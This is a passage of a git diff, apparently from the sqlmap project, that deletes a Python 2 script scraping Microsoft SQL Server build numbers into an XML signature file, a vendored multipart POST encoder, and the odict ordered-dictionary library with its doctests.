codecs -import difflib -import os -import re -import sys -import urllib2 -import urlparse - -from xml.dom.minidom import Document - -# Path to the XML file with signatures -MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml") - -# Url to update Microsoft SQL Server XML versions file from -MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" - -def updateMSSQLXML(): - if not os.path.exists(MSSQL_XML): - errMsg = "[ERROR] file '%s' does not exist. please run the script from it's parent directory." % MSSQL_XML - print errMsg - return - - infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL - print infoMsg - - try: - req = urllib2.Request(MSSQL_VERSIONS_URL) - f = urllib2.urlopen(req) - mssqlVersionsHtmlString = f.read() - f.close() - except urllib2.URLError: - __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) - __mssqlHostname = __mssqlPath[1] - - warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname - warnMsg += " check your Internet connection and retry" - print warnMsg - - return - - releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I | re.M) - releasesCount = len(releases) - - # Create the minidom document - doc = Document() - - # Create the <root> base element - root = doc.createElement("root") - doc.appendChild(root) - - for index in xrange(0, releasesCount): - release = releases[index] - - # Skip Microsoft SQL Server 6.5 because the HTML - # table is in another format - if release == "6.5": - continue - - # Create the <signatures> base element - signatures = doc.createElement("signatures") - signatures.setAttribute("release", release) - root.appendChild(signatures) - - startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) - - if index == releasesCount - 1: - stopIdx = len(mssqlVersionsHtmlString) - else: - stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) - - mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] - servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008|2008 R2]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M) - - for servicePack, version in servicepackVersion: - if servicePack.startswith(" "): - servicePack = servicePack[1:] - if "/" in servicePack: - servicePack = servicePack[:servicePack.index("/")] - if "(" in servicePack: - servicePack = servicePack[:servicePack.index("(")] - if "-" in servicePack: - servicePack = servicePack[:servicePack.index("-")] - if "*" in servicePack: - servicePack = servicePack[:servicePack.index("*")] - if servicePack.startswith("+"): - servicePack = "0%s" % servicePack - - servicePack = servicePack.replace("\t", " ") - servicePack = servicePack.replace("No SP", "0") - servicePack = servicePack.replace("RTM", "0") - servicePack = servicePack.replace("TM", "0") - servicePack = servicePack.replace("SP", "") - servicePack = servicePack.replace("Service Pack", "") - servicePack = servicePack.replace("<a href=\"http:", "") - servicePack = servicePack.replace(" ", " ") - servicePack = servicePack.replace("+ ", "+") - servicePack = servicePack.replace(" +", "+") - - if servicePack.endswith(" "): - servicePack = servicePack[:-1] - - if servicePack and version: - # Create the main <card> element - signature = doc.createElement("signature") - signatures.appendChild(signature) - - # Create a <version> element - versionElement = doc.createElement("version") - signature.appendChild(versionElement) - - # Give the <version> elemenet some text - versionText = doc.createTextNode(version) - versionElement.appendChild(versionText) - - # Create a <servicepack> element - servicepackElement = doc.createElement("servicepack") - signature.appendChild(servicepackElement) - - # Give the <servicepack> elemenet some text - servicepackText = doc.createTextNode(servicePack) - servicepackElement.appendChild(servicepackText) - - # Save our newly created XML to the signatures file - mssqlXml = codecs.open(MSSQL_XML, "w", "utf8") - doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") - mssqlXml.close() - - infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML - print infoMsg - -if __name__ == "__main__": - updateMSSQLXML() diff --git a/extra/multipart/__init__.py b/extra/multipart/__init__.py deleted file mode 100644 index 236166b593c..00000000000 --- a/extra/multipart/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env python - -pass diff --git a/extra/multipart/multipartpost.py b/extra/multipart/multipartpost.py deleted file mode 100644 index 00327f84872..00000000000 --- a/extra/multipart/multipartpost.py +++ /dev/null @@ -1,106 +0,0 @@ -#!/usr/bin/env python - -""" -02/2006 Will Holcomb <wholcomb@gmail.com> - -Reference: http://odin.himinbi.org/MultipartPostHandler.py - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import mimetools -import mimetypes -import os -import stat -import sys -import urllib -import urllib2 - -from lib.core.exception import sqlmapDataException - - -class Callable: - def __init__(self, anycallable): - self.__call__ = anycallable - -# Controls how sequences are uncoded. If true, elements may be given -# multiple values by assigning a sequence. -doseq = 1 - - -class MultipartPostHandler(urllib2.BaseHandler): - handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first - - def http_request(self, request): - data = request.get_data() - - if data is not None and type(data) != str: - v_files = [] - v_vars = [] - - try: - for(key, value) in data.items(): - if type(value) == file or hasattr(value, 'file'): - v_files.append((key, value)) - else: - v_vars.append((key, value)) - except TypeError: - systype, value, traceback = sys.exc_info() - raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback - - if len(v_files) == 0: - data = urllib.urlencode(v_vars, doseq) - else: - boundary, data = self.multipart_encode(v_vars, v_files) - contenttype = 'multipart/form-data; boundary=%s' % boundary - #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0): - # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data') - request.add_unredirected_header('Content-Type', contenttype) - - request.add_data(data) - return request - - def multipart_encode(vars, files, boundary = None, buf = None): - if boundary is None: - boundary = mimetools.choose_boundary() - - if buf is None: - buf = '' - - for (key, value) in vars: - buf += '--%s\r\n' % boundary - buf += 'Content-Disposition: form-data; name="%s"' % key - buf += '\r\n\r\n' + value + '\r\n' - - for (key, fd) in files: - file_size = os.fstat(fd.fileno())[stat.ST_SIZE] - filename = fd.name.split('/')[-1] - contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' - buf += '--%s\r\n' % boundary - buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename) - buf += 'Content-Type: %s\r\n' % contenttype - # buf += 'Content-Length: %s\r\n' % file_size - fd.seek(0) - - buf = str(buf) - buf += '\r\n%s\r\n' % fd.read() - - buf += '--%s--\r\n\r\n' % boundary - - return boundary, buf - - multipart_encode = Callable(multipart_encode) - - https_request = http_request diff --git a/extra/odict/__init__.py b/extra/odict/__init__.py deleted file mode 100644 index 1143598a32c..00000000000 --- a/extra/odict/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python -# -# The BSD License -# -# Copyright 2003-2008 Nicola Larosa, Michael Foord -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# - -pass diff --git a/extra/odict/odict.py b/extra/odict/odict.py deleted file mode 100644 index 9a712b048a2..00000000000 --- a/extra/odict/odict.py +++ /dev/null @@ -1,1402 +0,0 @@ -# odict.py -# An Ordered Dictionary object -# Copyright (C) 2005 Nicola Larosa, Michael Foord -# E-mail: nico AT tekNico DOT net, fuzzyman AT voidspace DOT org DOT uk - -# This software is licensed under the terms of the BSD license. -# http://www.voidspace.org.uk/python/license.shtml -# Basically you're free to copy, modify, distribute and relicense it, -# So long as you keep a copy of the license with it. - -# Documentation at http://www.voidspace.org.uk/python/odict.html -# For information about bugfixes, updates and support, please join the -# Pythonutils mailing list: -# http://groups.google.com/group/pythonutils/ -# Comments, suggestions and bug reports welcome. - -"""A dict that keeps keys in insertion order""" -from __future__ import generators - -__author__ = ('Nicola Larosa <nico-NoSp@m-tekNico.net>,' - 'Michael Foord <fuzzyman AT voidspace DOT org DOT uk>') - -__docformat__ = "restructuredtext en" - -__version__ = '0.2.2' - -__all__ = ['OrderedDict', 'SequenceOrderedDict'] - -import sys -INTP_VER = sys.version_info[:2] -if INTP_VER < (2, 2): - raise RuntimeError("Python v.2.2 or later required") - -import types, warnings - -class _OrderedDict(dict): - """ - A class of dictionary that keeps the insertion order of keys. - - All appropriate methods return keys, items, or values in an ordered way. - - All normal dictionary methods are available. Update and comparison is - restricted to other OrderedDict objects. - - Various sequence methods are available, including the ability to explicitly - mutate the key ordering. - - __contains__ tests: - - >>> d = OrderedDict(((1, 3),)) - >>> 1 in d - 1 - >>> 4 in d - 0 - - __getitem__ tests: - - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[2] - 1 - >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[4] - Traceback (most recent call last): - KeyError: 4 - - __len__ tests: - - >>> len(OrderedDict()) - 0 - >>> len(OrderedDict(((1, 3), (3, 2), (2, 1)))) - 3 - - get tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.get(1) - 3 - >>> d.get(4) is None - 1 - >>> d.get(4, 5) - 5 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - - has_key tests: - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.has_key(1) - 1 - >>> d.has_key(4) - 0 - """ - - def __init__(self, init_val=(), strict=False): - """ - Create a new ordered dictionary. Cannot init from a normal dict, - nor from kwargs, since items order is undefined in those cases. - - If the ``strict`` keyword argument is ``True`` (``False`` is the - default) then when doing slice assignment - the ``OrderedDict`` you are - assigning from *must not* contain any keys in the remaining dict. - - >>> OrderedDict() - OrderedDict([]) - >>> OrderedDict({1: 1}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> OrderedDict({1: 1}.items()) - OrderedDict([(1, 1)]) - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1)]) - >>> OrderedDict(d) - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - self.strict = strict - dict.__init__(self) - if isinstance(init_val, OrderedDict): - self._sequence = init_val.keys() - dict.update(self, init_val) - elif isinstance(init_val, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - self._sequence = [] - self.update(init_val) - -### Special methods ### - - def __delitem__(self, key): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> del d[3] - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> del d[3] - Traceback (most recent call last): - KeyError: 3 - >>> d[3] = 2 - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> del d[0:1] - >>> d - OrderedDict([(2, 1), (3, 2)]) - """ - if isinstance(key, types.SliceType): - # FIXME: efficiency? - keys = self._sequence[key] - for entry in keys: - dict.__delitem__(self, entry) - del self._sequence[key] - else: - # do the dict.__delitem__ *first* as it raises - # the more appropriate error - dict.__delitem__(self, key) - self._sequence.remove(key) - - def __eq__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d == OrderedDict(d) - True - >>> d == OrderedDict(((1, 3), (2, 1), (3, 2))) - False - >>> d == OrderedDict(((1, 0), (3, 2), (2, 1))) - False - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d == dict(d) - False - >>> d == False - False - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() == other.items()) - else: - return False - - def __lt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> c < d - True - >>> d < c - False - >>> d < dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() < other.items()) - - def __le__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c <= d - True - >>> d <= c - False - >>> d <= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> d <= e - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() <= other.items()) - - def __ne__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d != OrderedDict(d) - False - >>> d != OrderedDict(((1, 3), (2, 1), (3, 2))) - True - >>> d != OrderedDict(((1, 0), (3, 2), (2, 1))) - True - >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) - False - >>> d != dict(d) - True - >>> d != False - True - """ - if isinstance(other, OrderedDict): - # FIXME: efficiency? - # Generate both item lists for each compare - return not (self.items() == other.items()) - else: - return True - - def __gt__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> d > c - True - >>> c > d - False - >>> d > dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() > other.items()) - - def __ge__(self, other): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) - >>> e = OrderedDict(d) - >>> c >= d - False - >>> d >= c - True - >>> d >= dict(c) - Traceback (most recent call last): - TypeError: Can only compare with other OrderedDicts - >>> e >= d - True - """ - if not isinstance(other, OrderedDict): - raise TypeError('Can only compare with other OrderedDicts') - # FIXME: efficiency? - # Generate both item lists for each compare - return (self.items() >= other.items()) - - def __repr__(self): - """ - Used for __repr__ and __str__ - - >>> r1 = repr(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - >>> r1 - "OrderedDict([('a', 'b'), ('c', 'd'), ('e', 'f')])" - >>> r2 = repr(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - >>> r2 - "OrderedDict([('a', 'b'), ('e', 'f'), ('c', 'd')])" - >>> r1 == str(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) - True - >>> r2 == str(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) - True - """ - return '%s([%s])' % (self.__class__.__name__, ', '.join( - ['(%r, %r)' % (key, self[key]) for key in self._sequence])) - - def __setitem__(self, key, val): - """ - Allows slice assignment, so long as the slice is an OrderedDict - >>> d = OrderedDict() - >>> d['a'] = 'b' - >>> d['b'] = 'a' - >>> d[3] = 12 - >>> d - OrderedDict([('a', 'b'), ('b', 'a'), (3, 12)]) - >>> d[:] = OrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - OrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d[::2] = OrderedDict(((7, 8), (9, 10))) - >>> d - OrderedDict([(7, 8), (2, 3), (9, 10)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4))) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)), strict=True) - >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) - >>> d - OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) - - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3)), strict=True) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4), (4, 5)]) - Traceback (most recent call last): - ValueError: slice assignment must be from unique keys - >>> a = OrderedDict(((0, 1), (1, 2), (2, 3))) - >>> a[3] = 4 - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a[::-1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> a - OrderedDict([(3, 4), (2, 3), (1, 2), (0, 1)]) - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = 3 - Traceback (most recent call last): - TypeError: slice assignment requires an OrderedDict - - >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) - >>> d[:1] = OrderedDict([(9, 8)]) - >>> d - OrderedDict([(9, 8), (1, 2), (2, 3), (3, 4)]) - """ - if isinstance(key, types.SliceType): - if not isinstance(val, OrderedDict): - # FIXME: allow a list of tuples? - raise TypeError('slice assignment requires an OrderedDict') - keys = self._sequence[key] - # NOTE: Could use ``range(*key.indices(len(self._sequence)))`` - indexes = range(len(self._sequence))[key] - if key.step is None: - # NOTE: new slice may not be the same size as the one being - # overwritten ! - # NOTE: What is the algorithm for an impossible slice? - # e.g. d[5:3] - pos = key.start or 0 - del self[key] - newkeys = val.keys() - for k in newkeys: - if k in self: - if self.strict: - raise ValueError('slice assignment must be from ' - 'unique keys') - else: - # NOTE: This removes duplicate keys *first* - # so start position might have changed? - del self[k] - self._sequence = (self._sequence[:pos] + newkeys + - self._sequence[pos:]) - dict.update(self, val) - else: - # extended slice - length of new slice must be the same - # as the one being replaced - if len(keys) != len(val): - raise ValueError('attempt to assign sequence of size %s ' - 'to extended slice of size %s' % (len(val), len(keys))) - # FIXME: efficiency? - del self[key] - item_list = zip(indexes, val.items()) - # smallest indexes first - higher indexes not guaranteed to - # exist - item_list.sort() - for pos, (newkey, newval) in item_list: - if self.strict and newkey in self: - raise ValueError('slice assignment must be from unique' - ' keys') - self.insert(pos, newkey, newval) - else: - if key not in self: - self._sequence.append(key) - dict.__setitem__(self, key, val) - - def __getitem__(self, key): - """ - Allows slicing. Returns an OrderedDict if you slice. - >>> b = OrderedDict([(7, 0), (6, 1), (5, 2), (4, 3), (3, 4), (2, 5), (1, 6)]) - >>> b[::-1] - OrderedDict([(1, 6), (2, 5), (3, 4), (4, 3), (5, 2), (6, 1), (7, 0)]) - >>> b[2:5] - OrderedDict([(5, 2), (4, 3), (3, 4)]) - >>> type(b[2:4]) - <class '__main__.OrderedDict'> - """ - if isinstance(key, types.SliceType): - # FIXME: does this raise the error we want? - keys = self._sequence[key] - # FIXME: efficiency? - return OrderedDict([(entry, self[entry]) for entry in keys]) - else: - return dict.__getitem__(self, key) - - __str__ = __repr__ - - def __setattr__(self, name, value): - """ - Implemented so that accesses to ``sequence`` raise a warning and are - diverted to the new ``setkeys`` method. - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: doesn't return anything - self.setkeys(value) - else: - # FIXME: do we want to allow arbitrary setting of attributes? - # Or do we want to manage it? - object.__setattr__(self, name, value) - - def __getattr__(self, name): - """ - Implemented so that access to ``sequence`` raises a warning. - - >>> d = OrderedDict() - >>> d.sequence - [] - """ - if name == 'sequence': - warnings.warn('Use of the sequence attribute is deprecated.' - ' Use the keys method instead.', DeprecationWarning) - # NOTE: Still (currently) returns a direct reference. Need to - # because code that uses sequence will expect to be able to - # mutate it in place. - return self._sequence - else: - # raise the appropriate error - raise AttributeError("OrderedDict has no '%s' attribute" % name) - - def __deepcopy__(self, memo): - """ - To allow deepcopy to work with OrderedDict. - - >>> from copy import deepcopy - >>> a = OrderedDict([(1, 1), (2, 2), (3, 3)]) - >>> a['test'] = {} - >>> b = deepcopy(a) - >>> b == a - True - >>> b is a - False - >>> a['test'] is b['test'] - False - """ - from copy import deepcopy - return self.__class__(deepcopy(self.items(), memo), self.strict) - - -### Read-only methods ### - - def copy(self): - """ - >>> OrderedDict(((1, 3), (3, 2), (2, 1))).copy() - OrderedDict([(1, 3), (3, 2), (2, 1)]) - """ - return OrderedDict(self) - - def items(self): - """ - ``items`` returns a list of tuples representing all the - ``(key, value)`` pairs in the dictionary. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.items() - [(1, 3), (3, 2), (2, 1)] - >>> d.clear() - >>> d.items() - [] - """ - return zip(self._sequence, self.values()) - - def keys(self): - """ - Return a list of keys in the ``OrderedDict``. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - """ - return self._sequence[:] - - def values(self, values=None): - """ - Return a list of all the values in the OrderedDict. - - Optionally you can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.values() - [3, 2, 1] - """ - return [self[key] for key in self._sequence] - - def iteritems(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iteritems() - >>> ii.next() - (1, 3) - >>> ii.next() - (3, 2) - >>> ii.next() - (2, 1) - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - key = keys.next() - yield (key, self[key]) - return make_iter() - - def iterkeys(self): - """ - >>> ii = OrderedDict(((1, 3), (3, 2), (2, 1))).iterkeys() - >>> ii.next() - 1 - >>> ii.next() - 3 - >>> ii.next() - 2 - >>> ii.next() - Traceback (most recent call last): - StopIteration - """ - return iter(self._sequence) - - __iter__ = iterkeys - - def itervalues(self): - """ - >>> iv = OrderedDict(((1, 3), (3, 2), (2, 1))).itervalues() - >>> iv.next() - 3 - >>> iv.next() - 2 - >>> iv.next() - 1 - >>> iv.next() - Traceback (most recent call last): - StopIteration - """ - def make_iter(self=self): - keys = self.iterkeys() - while True: - yield self[keys.next()] - return make_iter() - -### Read-write methods ### - - def clear(self): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.clear() - >>> d - OrderedDict([]) - """ - dict.clear(self) - self._sequence = [] - - def pop(self, key, *args): - """ - No dict.pop in Python 2.2, gotta reimplement it - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.pop(3) - 2 - >>> d - OrderedDict([(1, 3), (2, 1)]) - >>> d.pop(4) - Traceback (most recent call last): - KeyError: 4 - >>> d.pop(4, 0) - 0 - >>> d.pop(4, 0, 1) - Traceback (most recent call last): - TypeError: pop expected at most 2 arguments, got 3 - """ - if len(args) > 1: - raise TypeError, ('pop expected at most 2 arguments, got %s' % - (len(args) + 1)) - if key in self: - val = self[key] - del self[key] - else: - try: - val = args[0] - except IndexError: - raise KeyError(key) - return val - - def popitem(self, i=-1): - """ - Delete and return an item specified by index, not a random one as in - dict. The index is -1 by default (the last item). - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.popitem() - (2, 1) - >>> d - OrderedDict([(1, 3), (3, 2)]) - >>> d.popitem(0) - (1, 3) - >>> OrderedDict().popitem() - Traceback (most recent call last): - KeyError: 'popitem(): dictionary is empty' - >>> d.popitem(2) - Traceback (most recent call last): - IndexError: popitem(): index 2 not valid - """ - if not self._sequence: - raise KeyError('popitem(): dictionary is empty') - try: - key = self._sequence[i] - except IndexError: - raise IndexError('popitem(): index %s not valid' % i) - return (key, self.pop(key)) - - def setdefault(self, key, defval = None): - """ - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setdefault(1) - 3 - >>> d.setdefault(4) is None - True - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None)]) - >>> d.setdefault(5, 0) - 0 - >>> d - OrderedDict([(1, 3), (3, 2), (2, 1), (4, None), (5, 0)]) - """ - if key in self: - return self[key] - else: - self[key] = defval - return defval - - def update(self, from_od): - """ - Update from another OrderedDict or sequence of (key, value) pairs - - >>> d = OrderedDict(((1, 0), (0, 1))) - >>> d.update(OrderedDict(((1, 3), (3, 2), (2, 1)))) - >>> d - OrderedDict([(1, 3), (0, 1), (3, 2), (2, 1)]) - >>> d.update({4: 4}) - Traceback (most recent call last): - TypeError: undefined order, cannot get items from dict - >>> d.update((4, 4)) - Traceback (most recent call last): - TypeError: cannot convert dictionary update sequence element "4" to a 2-item sequence - """ - if isinstance(from_od, OrderedDict): - for key, val in from_od.items(): - self[key] = val - elif isinstance(from_od, dict): - # we lose compatibility with other ordered dict types this way - raise TypeError('undefined order, cannot get items from dict') - else: - # FIXME: efficiency? - # sequence of 2-item sequences, or error - for item in from_od: - try: - key, val = item - except TypeError: - raise TypeError('cannot convert dictionary update' - ' sequence element "%s" to a 2-item sequence' % item) - self[key] = val - - def rename(self, old_key, new_key): - """ - Rename the key for a given value, without modifying sequence order. - - For the case where new_key already exists this raise an exception, - since if new_key exists, it is ambiguous as to what happens to the - associated values, and the position of new_key in the sequence. - - >>> od = OrderedDict() - >>> od['a'] = 1 - >>> od['b'] = 2 - >>> od.items() - [('a', 1), ('b', 2)] - >>> od.rename('b', 'c') - >>> od.items() - [('a', 1), ('c', 2)] - >>> od.rename('c', 'a') - Traceback (most recent call last): - ValueError: New key already exists: 'a' - >>> od.rename('d', 'b') - Traceback (most recent call last): - KeyError: 'd' - """ - if new_key == old_key: - # no-op - return - if new_key in self: - raise ValueError("New key already exists: %r" % new_key) - # rename sequence entry - value = self[old_key] - old_idx = self._sequence.index(old_key) - self._sequence[old_idx] = new_key - # rename internal dict entry - dict.__delitem__(self, old_key) - dict.__setitem__(self, new_key, value) - - def setitems(self, items): - """ - This method allows you to set the items in the dict. - - It takes a list of tuples - of the same sort returned by the ``items`` - method. - - >>> d = OrderedDict() - >>> d.setitems(((3, 1), (2, 3), (1, 2))) - >>> d - OrderedDict([(3, 1), (2, 3), (1, 2)]) - """ - self.clear() - # FIXME: this allows you to pass in an OrderedDict as well :-) - self.update(items) - - def setkeys(self, keys): - """ - ``setkeys`` all ows you to pass in a new list of keys which will - replace the current set. This must contain the same set of keys, but - need not be in the same order. - - If you pass in new keys that don't match, a ``KeyError`` will be - raised. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - >>> d.setkeys((1, 2, 3)) - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> d.setkeys(['a', 'b', 'c']) - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - """ - # FIXME: Efficiency? (use set for Python 2.4 :-) - # NOTE: list(keys) rather than keys[:] because keys[:] returns - # a tuple, if keys is a tuple. - kcopy = list(keys) - kcopy.sort() - self._sequence.sort() - if kcopy != self._sequence: - raise KeyError('Keylist is not the same as current keylist.') - # NOTE: This makes the _sequence attribute a new object, instead - # of changing it in place. - # FIXME: efficiency? - self._sequence = list(keys) - - def setvalues(self, values): - """ - You can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - (Or a ``ValueError`` is raised.) - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setvalues((1, 2, 3)) - >>> d - OrderedDict([(1, 1), (3, 2), (2, 3)]) - >>> d.setvalues([6]) - Traceback (most recent call last): - ValueError: Value list is not the same length as the OrderedDict. - """ - if len(values) != len(self): - # FIXME: correct error to raise? - raise ValueError('Value list is not the same length as the ' - 'OrderedDict.') - self.update(zip(self, values)) - -### Sequence Methods ### - - def index(self, key): - """ - Return the position of the specified key in the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.index(3) - 1 - >>> d.index(4) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - """ - return self._sequence.index(key) - - def insert(self, index, key, value): - """ - Takes ``index``, ``key``, and ``value`` as arguments. - - Sets ``key`` to ``value``, so that ``key`` is at position ``index`` in - the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.insert(0, 4, 0) - >>> d - OrderedDict([(4, 0), (1, 3), (3, 2), (2, 1)]) - >>> d.insert(0, 2, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2)]) - >>> d.insert(8, 8, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2), (8, 1)]) - """ - if key in self: - # FIXME: efficiency? - del self[key] - self._sequence.insert(index, key) - dict.__setitem__(self, key, value) - - def reverse(self): - """ - Reverse the order of the OrderedDict. - - >>> d = 